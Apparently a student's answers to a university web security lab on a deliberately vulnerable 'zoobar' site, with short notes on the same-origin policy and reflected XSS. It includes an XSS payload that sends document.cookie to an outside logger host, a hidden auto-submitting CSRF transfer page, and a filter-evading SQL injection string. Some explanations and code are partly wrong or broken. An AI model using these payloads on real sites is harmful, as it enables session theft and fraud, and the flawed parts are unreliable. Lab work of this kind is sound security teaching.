LAB W GUIDING QUESTIONS

2.1

What is the *Same Origin Policy*? How does the reflected XSS attack bypass this policy?

* The same-origin policy is **a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin**
* Cross-site scripting (XSS) vulnerabilities through Same-Origin Policy (SOP) bypasses occur when:  
    
  1. Data enters a web application through an untrusted source.  
    
    
  2. The data is passed to a setting that determines the origin of the page where scripts can run, such as document.domain.  
    
  Once this is performed, this enables an attacker on another domain to set document.domain the same, and execute scripts on the page, as if in they are located on the exact same domain.

A web application vulnerable to reflected XSS will send the received unvalidated input back to the user (e. g., in a search result page). How can you test for the reflected XSS based on this behavior? Hint: sending the string <script>alert("XSS works");</script> via an input field might not suffice. Look at the source code of the returned page and check how and where exactly your input script is reflected.

* Black box testing

Which is the vulnerable input element on the website?

* document.cookie?

﻿</script> <script> javascript:void((new Image()).src='http://dasak-vm-lab-server.eecs.kth.se/logger/log.php?' + 'to=oazrak@kth.se' + '&payload='+document.cookie + '&random=' + Math.random());document.getElementById('baduser').style.display='none'</script><script>

2.2

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

</head>

<body>

<form style="visibility:hidden;" method="POST" name="transferform" action="http://zoobar/transfer.php" target="frame">

<input name="zoobars" type="text" value="1">

<input name="recipient" type="text" value="Azrak">

<input id ="attack" type="submit" name="submission" value="Send">

</form>

<iframe id="frame" name="frame" style="visibility:hidden;" src="http://zoobar/transfer.php"> </iframe>

<script>

document.getElementById('attack').click();

document.getElementById('attack1').click();

document.getElementById('frame1').onload = function () {

window.location.href = "https://kth.instructure.com/courses/35479";

}

</script>

</body>

</html>

3.2

rwilson

[70.86.70.33](http://70.86.70.33/?fbclid=IwAR36AYJd2GssLk45w1lQ7gvvrdZRHWwbLwvjxKjGnYm7GApLn1rA9qFAAQo)

3.3

71934/\*\*/unUNIONion/\*\*/seSELECTlect/\*\*/\*/\*\*/from/\*\*/users